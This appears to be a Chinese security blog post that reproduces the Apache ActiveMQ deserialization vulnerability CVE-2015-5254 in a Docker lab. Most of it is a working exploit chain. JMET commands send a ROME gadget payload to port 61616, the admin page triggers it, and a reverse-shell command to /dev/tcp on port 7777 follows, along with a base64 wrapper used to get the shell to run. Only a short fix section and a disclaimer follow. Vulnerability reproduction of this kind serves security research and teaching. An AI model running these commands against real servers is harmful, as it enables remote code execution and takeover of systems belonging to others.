本文由 简悦 SimpRead 转码, 原文地址 mp.weixin.qq.com
ActiveMQ 反序列化漏洞复现 (CVE-2015-5254)
前言:
Apache ActiveMQ 是美国阿帕奇(Apache)软件基金会所研发的一套开源的消息中间件,它支持 Java 消息服务、集群、Spring Framework 等。由于 ActiveMQ 是一个纯 Java 程序,因此只需要操作系统支持 Java 虚拟机,ActiveMQ 便可执行。
Apache ActiveMQ 5.13.0 之前 5.x 版本中存在安全漏洞,该漏洞源于程序没有限制可在代理中序列化的类。远程攻击者可借助特制的序列化的 Java Message Service(JMS)ObjectMessage 对象利用该漏洞执行任意代码。
# 进入某一个漏洞/环境的目录
cd activemq/CVE-2015-5254/
# 启动运行环境
docker-compose -up -d
漏洞复现:
- 构造(可以使用 ysoserial)可执行命令的序列化对象
- 作为一个消息,发送给目标 61616 端口
- 访问 web 管理页面,读取消息,触发漏洞的 jar 文件,并在同目录下创建一个 external 文件夹(否则可能会爆文件夹不存在的错误)。
工具:JMET
使用详情:
https://github.com/matthiaskaiser/jmet
下载地址:
https://github.com/matthiaskaiser/jmet/releases/download/0.1.0/jmet-0.1.0-all.jar
创建队列消息并写入命令。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "touch /tmp/sucess" -Yp ROME ip 61616
进入容器转到 / tmp 目录下,发现没有创建文件,这是因为当执行命令后会给目标的 ActiveMQ 添加一个名为 event 的队列, 通过访问
http://ip:8161/admin/browse.jsp?JMSDestination=event
看到这个队列中所有的消息。
#列出所有在运行的容器信息。
docker ps
#进入容器
docker exec -it cc0e9385f975 /bin/bash
点击触发后,执行命令。
命令执行成功。
反弹 shell
直接反弹时无法成功。可以通过 base64 进行反弹。
无法反弹。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -i >& /dev/tcp/ip/7777 0>&1" -Yp ROME ip 61616
base64 绕过。
java -jar jmet-0.1.0-all.jar -Q event -I ActiveMQ -s -Y "bash -c {echo payload的basse64编码}|{base64,-d}|{bash,-i}" -Yp ROME ip 61616
反弹成功。
影响版本
Apache ActiveMQ <5.13.x
修复建议
升级到最新版本
免责声明:本站提供安全工具、程序 (方法) 可能带有攻击性,仅供安全研究与教学之用,风险自负!
转载声明:著作权归作者所有。商业转载请联系作者获得授权,非商业转载请注明出处。